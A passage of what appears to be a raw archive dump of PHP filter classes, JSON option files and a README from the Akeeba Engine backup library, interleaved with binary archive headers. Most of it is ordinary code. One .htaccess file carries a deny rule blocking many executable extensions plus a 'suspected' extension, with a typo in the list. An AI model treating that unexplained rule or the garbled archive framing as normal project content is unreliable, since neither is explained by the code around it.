namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Database table exclusion filter
 */
class Tables extends Base
{
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'all';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \+gL  L  0  vendor/akeeba/engine/engine/Filter/Tabledata.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Database table records exclusion filter
 *
 * This is simple stuff. If a table's on the list, it will backup just its structure, not
 * its contents. Fair and square...
 */
class Tabledata extends Base
{
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'content';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \ 5    7  vendor/akeeba/engine/engine/Filter/Regexdirectories.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Directory exclusion filter based on regular expressions
 */
class Regexdirectories extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'all';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \$    :  vendor/akeeba/engine/engine/Filter/Tablesalwaysskipped.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Filter
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

class Tablesalwaysskipped extends Base
{
	private $skipTablesWithBackticks = false;

	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'content';
		$this->method  = 'api';

		parent::__construct();
	}

	/**
	 * This method must be overridden by API-type exclusion filters.
	 *
	 * @param   string  $test  The object to test for exclusion
	 * @param   string  $root  The object's root
	 *
	 * @return  bool  Return true if it matches your filters
	 */
	protected function is_excluded_by_api($test, $root)
	{
		static $alwaysExcludeTables = [
			// Tables from a certain service connector
			'bf_core_hashes',
			'bf_files',
			'bf_files_last',
			'bf_folders',
			'bf_folders_to_scan',
		];

		// Is it one of the always excluded tables?
		if (in_array($test, $alwaysExcludeTables))
		{
			return true;
		}

		// Tables with backticks in their name
		if ($this->skipTablesWithBackticks && strpos($test, '`') !== false)
		{
			return true;
		}

		return false;
	}

}PK     \\    0  vendor/akeeba/engine/engine/Filter/Extradirs.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Extra Directories inclusion filter
 */
class Extradirs extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'inclusion';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \S/    1  vendor/akeeba/engine/engine/Filter/Regexfiles.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Files exclusion filter based on regular expressions
 */
class Regexfiles extends Base
{
	public function __construct()
	{
		$this->object  = 'file';
		$this->subtype = 'all';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \ؿ    ;  vendor/akeeba/engine/engine/Filter/Stack/StackHoststats.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter\Stack;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Filter\Base;

/**
 * Exclude folders and files belonging to the host web stat (ie Webalizer)
 */
class StackHoststats extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'all';
		$this->method  = 'api';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}

	protected function is_excluded_by_api($test, $root)
	{
		if ($test == 'stats')
		{
			return true;
		}

		// No match? Just include the file!
		return false;
	}

}
PK     \[Y  Y  A  vendor/akeeba/engine/engine/Filter/Stack/StackDateconditional.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter\Stack;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Filter\Base;

/**
 * Date conditional filter
 *
 * It will only backup files modified after a specific date and time
 */
class StackDateconditional extends Base
{
	public function __construct()
	{
		$this->object  = 'file';
		$this->subtype = 'all';
		$this->method  = 'api';

	}

	protected function is_excluded_by_api($test, $root)
	{
		static $from_datetime;

		$config = Factory::getConfiguration();

		if (is_null($from_datetime))
		{
			$user_setting  = $config->get('core.filters.dateconditional.start');
			$from_datetime = strtotime($user_setting);
		}

		// Get the filesystem path for $root
		$fsroot   = $config->get('volatile.filesystem.current_root', '');
		$ds       = ($fsroot == '') || ($fsroot == '/') ? '' : DIRECTORY_SEPARATOR;
		$filename = $fsroot . $ds . $test;

		// Get the timestamp of the file
		$timestamp = @filemtime($filename);

		// If we could not get this information, include the file in the archive
		if ($timestamp === false)
		{
			return false;
		}

		// Compare it with the user-defined minimum timestamp and exclude if it's older than that
		if ($timestamp <= $from_datetime)
		{
			return true;
		}

		// No match? Just include the file!
		return false;
	}

}
PK     \ >    4  vendor/akeeba/engine/engine/Filter/Stack/README.htmlnu [        <?xml version="1.0" encoding="UTF-8" ?>
<!--~
  ~ Akeeba Engine
  ~
  ~ @package   akeebaengine
  ~ @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
  ~
  ~ This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
  ~ License as published by the Free Software Foundation, version 3.
  ~
  ~ This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
  ~ warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
  ~
  ~ You should have received a copy of the GNU General Public License along with this program. If not, see
  ~ <https://www.gnu.org/licenses/>.
  -->

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <title>AkeebaBackup :: Filter Stack</title>
</head>
<body>
<h1>What is this directory?</h1>

<p>In this directory, Akeeba Backup and Akeeba Solo store the optional filters (Optional Filters in the Configuration
    page). Unlike regular filters which are always loaded, optional filters are only loaded when the user chooses to
    enable them. Each filter consists of two files: <var>filtername</var>.ini and <var>filtername</var>.php. The former
    contains the filter-specific configuration options and the later contains the actual filter code.</p>

<p>
    If you want to create new optional filters, put them in here. Do note that the INI file must always contain a
    boolean key named core.filters.<var>filtername</var>.enabled which controls the loading of this particular filter.
</p>

<p>
    Optional filters are always named Akeeba\Engine\Filter\Stack\Stack<var>Filtername</var> so that the autoloader can
    find them. For the same reason their filename must be Stack<var>Filtername</var>.php   Please watch out for the
    letter case in the names, it's important.
</p>
</body>
</html>
PK     \&Y    7  vendor/akeeba/engine/engine/Filter/Stack/errorlogs.jsonnu [        {
    "core.filters.errorlogs.enabled": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_TITLE",
        "description": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_DESCRIPTION",
        "bold": "1"
    }
}PK     \=}TC    ;  vendor/akeeba/engine/engine/Filter/Stack/StackErrorlogs.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter\Stack;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Filter\Base;

/**
 * Files exclusion filter based on regular expressions
 */
class StackErrorlogs extends Base
{
	function __construct()
	{
		$this->object  = 'file';
		$this->subtype = 'all';
		$this->method  = 'api';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}

	protected function is_excluded_by_api($test, $root)
	{
		// Is it an error log? Exclude the file.
		if (in_array(basename($test), [
			'php_error',
			'php_errorlog',
			'error_log',
			'error.log',
		]))
		{
			return true;
		}

		// No match? Just include the file!
		return false;
	}

}
PK     \    =  vendor/akeeba/engine/engine/Filter/Stack/dateconditional.jsonnu [        {
    "core.filters.dateconditional.enabled": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_TITLE",
        "description": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_DESCRIPTION",
        "bold": "1"
    },
    "core.filters.dateconditional.start": {
        "default": "1970-01-01 00:00 GMT",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_TITLE",
        "description": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_DESCRIPTION",
        "showon": "core.filters.dateconditional.enabled:1"
    }
}PK     \D    7  vendor/akeeba/engine/engine/Filter/Stack/hoststats.jsonnu [        {
    "core.filters.hoststats.enabled": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_TITLE",
        "description": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_DESCRIPTION",
        "bold": "1"
    }
}PK     \Sʉ      2  vendor/akeeba/engine/engine/Filter/Stack/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \T~P  P  5  vendor/akeeba/engine/engine/Filter/Regextabledata.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Database table records exclusion filter
 *
 * This is simple stuff. If a table's on the list, it will backup just its structure, not
 * its contents. Fair and square...
 */
class Regextabledata extends Base
{
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'content';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \;    0  vendor/akeeba/engine/engine/Filter/Skipfiles.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Directory contents (files) exclusion filter
 */
class Skipfiles extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'content';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \o2    4  vendor/akeeba/engine/engine/Filter/Regexskipdirs.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Subdirectories exclusion filter based on regular expressions
 */
class Regexskipdirs extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'children';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
PK     \Θ7g  g  2  vendor/akeeba/engine/engine/Filter/Incremental.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DateTime;
use DateTimeZone;

/**
 * Incremental file filter
 *
 * It will only backup files which are newer than the last backup taken with this profile
 */
class Incremental extends Base
{

	public function __construct()
	{
		$this->object  = 'file';
		$this->subtype = 'all';
		$this->method  = 'api';
	}

	protected function is_excluded_by_api($test, $root)
	{
		static $filter_switch = null;
		static $last_backup = null;

		if (is_null($filter_switch))
		{
			$config        = Factory::getConfiguration();
			$filter_switch = Factory::getEngineParamsProvider()->getScriptingParameter('filter.incremental', 0);
			$filter_switch = ($filter_switch == 1);

			$last_backup = $config->get('volatile.filter.last_backup', null);

			if (is_null($last_backup) && $filter_switch)
			{
				// Get a list of backups on this profile
				$backups = Platform::getInstance()->get_statistics_list([
					'filters' => [
						[
							'field' => 'profile_id',
							'value' => Platform::getInstance()->get_active_profile(),
						],
					],
				]);

				// Find this backup's ID
				$model = Factory::getStatistics();
				$id    = $model->getId();

				if (is_null($id))
				{
					$id = -1;
				}

				// Initialise
				$last_backup = time();
				$now         = $last_backup;

				// Find the last time a successful backup with this profile was made
				if (count($backups))
				{
					foreach ($backups as $backup)
					{
						// Skip the current backup
						if ($backup['id'] == $id)
						{
							continue;
						}

						// Skip non-complete backups
						if ($backup['status'] != 'complete')
						{
							continue;
						}

						$tzUTC      = new DateTimeZone('UTC');
						$dateTime   = new DateTime($backup['backupstart'], $tzUTC);
						$backuptime = $dateTime->getTimestamp();

						$last_backup = $backuptime;
						break;
					}
				}

				if ($last_backup == $now)
				{
					// No suitable backup found; disable this filter
					$config->set('volatile.scripting.incfile.filter.incremental', 0);
					$filter_switch = false;
				}
				else
				{
					// Cache the last backup timestamp
					$config->set('volatile.filter.last_backup', $last_backup);
				}
			}
		}

		if (!$filter_switch)
		{
			return false;
		}

		// Get the filesystem path for $root
		$config   = Factory::getConfiguration();
		$fsroot   = $config->get('volatile.filesystem.current_root', '');
		$ds       = ($fsroot == '') || ($fsroot == '/') ? '' : DIRECTORY_SEPARATOR;
		$filename = $fsroot . $ds . $test;

		// Get the timestamp of the file
		$timestamp = @filemtime($filename);

		// If we could not get this information, include the file in the archive
		if ($timestamp === false)
		{
			return false;
		}

		// Compare it with the last backup timestamp and exclude if it's older than the last backup
		if ($timestamp <= $last_backup)
		{
			//Factory::getLog()->debug("Excluding $filename due to incremental backup restrictions");
			return true;
		}

		// No match? Just include the file!
		return false;
	}

}
PK     \Z1~?  ?  +  vendor/akeeba/engine/engine/Filter/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\FileSystem;

abstract class Base
{
	/** @var string Filter's internal name; defaults to filename without .php extension */
	public $filter_name = '';

	/** @var string The filtering object: dir|file|dbobject|db */
	public $object = 'dir';

	/** @var string The filtering subtype (all|content|children|inclusion) */
	public $subtype = null;

	/** @var string The filtering method (direct|regex|api) */
	public $method = 'direct';

	/** @var bool Is the filter active? */
	public $enabled = true;

	/** @var array An array holding filter or regex strings per root, i.e. $filter_data[$root] = array() */
	protected $filter_data = null;

	/** @var FileSystem  Used by treatDirectory */
	protected $fsTools = null;

	/**
	 * Public constructor
	 */
	public function __construct()
	{
		// Set the filter name if it's missing (filename in lowercase, minus the .php extension)
		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}
	}

	/**
	 * Extra SQL statements to append to the SQL dump file. Useful for extension
	 * filters which have to filter out specific database records. This method
	 * must be overridden in children classes.
	 *
	 * @param   string  $root  The database for which to get the extra SQL statements
	 *
	 * @return  array  Extra SQL statements
	 */
	public function getExtraSQL(string $root): array
	{
		return [];
	}

	public $canFilterDatabaseRowContent = false;

	public function filterDatabaseRowContent(string $root, string $tableAbstract, array &$row): void
	{
		// No operation
	}

	/**
	 * Returns filtering (exclusion) status of the $test object
	 *
	 * @param   string  $test     The string to check for filter status (e.g. filename, dir name, table name, etc)
	 * @param   string  $root     The exclusion root test belongs to
	 * @param   string  $object   What type of object is it? dir|file|dbobject
	 * @param   string  $subtype  Filter subtype (all|content|children)
	 *
	 * @return    bool    True if it excluded, false otherwise
	 */
	public function isFiltered($test, $root, $object, $subtype)
	{
		if (!$this->enabled)
		{
			return false;
		}

		//Factory::getLog()->log(LogLevel::DEBUG,"Filtering [$object:$subtype] $root // $test");

		// Inclusion filters do not qualify for exclusion
		if ($this->subtype == 'inclusion')
		{
			return false;
		}

		// The object and subtype must match
		if (($this->object != $object) || ($this->subtype != $subtype))
		{
			return false;
		}

		if (in_array($this->method, ['direct', 'regex']))
		{
			// -- Direct or regex based filters --

			// Get a local reference of the filter data, if necessary
			if (is_null($this->filter_data))
			{
				$filters           = Factory::getFilters();
				$this->filter_data = $filters->getFilterData($this->filter_name);
			}

			// Check if the root exists and if there's a filter for the $test
			if (!array_key_exists($root, $this->filter_data))
			{
				// Root not found
				return false;
			}
			else
			{
				// Root found, search in the array
				if ($this->method == 'direct')
				{
					// Direct filtering
					return in_array($test, $this->filter_data[$root]);
				}
				else
				{
					// Regex matching
					foreach ($this->filter_data[$root] as $regex)
					{
						if (substr($regex, 0, 1) == '!')
						{
							// Custom Akeeba Backup extension to PCRE notation. If you put a ! before the PCRE, it negates the result of the PCRE.
							if (!preg_match(substr($regex, 1), $test))
							{
								return true;
							}
						}
						else
						{
							// Normal PCRE
							if (preg_match($regex, $test))
							{
								return true;
							}
						}
					}

					// if we're here, no match exists
					return false;
				}
			}
		}
		else
		{
			// -- API-based filters --
			return $this->is_excluded_by_api($test, $root);
		}
	}

	/**
	 * Returns the inclusion filters defined by this class for the requested $object
	 *
	 * @param   string  $object  The object to get inclusions for (dir|db)
	 *
	 * @return    array    The inclusion filters
	 */
	public function &getInclusions($object)
	{
		$dummy = [];

		if (!$this->enabled)
		{
			return $dummy;
		}

		if (($this->subtype != 'inclusion') || ($this->object != $object))
		{
			return $dummy;
		}

		switch ($this->method)
		{
			case 'api':
				return $this->get_inclusions_by_api();
				break;

			case 'direct':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				return $this->filter_data;
				break;

			default:
				// regex inclusion is not supported at the moment
				$dummy = [];

				return $dummy;
				break;
		}
	}

	/**
	 * Adds an exclusion filter, or add/replace an inclusion filter
	 *
	 * @param   string  $root  Filter's root
	 * @param   mixed   $test  Exclusion: the filter string. Inclusion: the root definition data
	 *
	 * @return bool True on success
	 */
	public function set($root, $test)
	{
		if (in_array($this->subtype, ['all', 'content', 'children']))
		{
			return $this->setExclusion($root, $test);
		}
		else
		{
			return $this->setInclusion($root, $test);
		}
	}

	/**
	 * Unsets a given filter
	 *
	 * @param   string  $root  Filter's root
	 * @param   string  $test  The filter to remove
	 *
	 * @return bool
	 */
	public function remove($root, $test = null)
	{
		if ($this->subtype == 'inclusion')
		{
			return $this->removeInclusion($root);
		}
		else
		{
			return $this->removeExclusion($root, $test);
		}
	}

	/**
	 * Completely removes all filters off a specific root
	 *
	 * @param   string  $root
	 *
	 * @return bool
	 */
	public function reset($root)
	{
		switch ($this->method)
		{
			default:
			case 'api':
				return false;
				break;

			case 'direct':
			case 'regex':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}
				// Direct filters
				if (array_key_exists($root, $this->filter_data))
				{
					unset($this->filter_data[$root]);
				}
				else
				{
					// Root not found
					return false;
				}
				break;
		}

		$filters = Factory::getFilters();
		$filters->setFilterData($this->filter_name, $this->filter_data);

		return true;
	}

	/**
	 * Toggles a filter
	 *
	 * @param   string  $root        The filter root object
	 * @param   string  $test        The filter string to toggle
	 * @param   bool    $new_status  The new filter status after the operation (true: enabled, false: disabled)
	 *
	 * @return bool True on successful change, false if we failed to change it
	 */
	public function toggle($root, $test, &$new_status)
	{
		// Can't toggle inclusion filters!
		if ($this->subtype == 'inclusion')
		{
			return false;
		}

		$is_set     = $this->isFiltered($test, $root, $this->object, $this->subtype);
		$new_status = !$is_set;
		if ($is_set)
		{
			$status = $this->remove($root, $test);
		}
		else
		{
			$status = $this->set($root, $test);
		}
		if (!$status)
		{
			$new_status = $is_set;
		}

		return $status;
	}

	/**
	 * Does this class has any filters? If it doesn't, its methods are never called by
	 * Akeeba's engine to speed things up.
	 * @return bool
	 */
	public function hasFilters()
	{
		if (!$this->enabled)
		{
			return false;
		}

		switch ($this->method)
		{
			default:
			case 'api':
				// API filters always have data!
				return true;
				break;

			case 'direct':
			case 'regex':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				return !empty($this->filter_data);
				break;
		}
	}

	/**
	 * Returns a list of filter strings for the given root. Used by MySQLDump engine.
	 *
	 * @param   string  $root
	 *
	 * @return array
	 */
	public function getFilters($root)
	{
		$dummy = [];

		if (!$this->enabled)
		{
			return $dummy;
		}

		switch ($this->method)
		{
			default:
			case 'api':
				// API filters never have a list
				return $dummy;
				break;

			case 'direct':
			case 'regex':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				if (is_null($root))
				{
					// When NULL is passed as the root, we return all roots
					return $this->filter_data;
				}
				elseif (array_key_exists($root, $this->filter_data))
				{
					// The root exists, return its data
					return $this->filter_data[$root];
				}
				else
				{
					// The root doesn't exist, return an empty array
					return $dummy;
				}
				break;
		}
	}

	/**
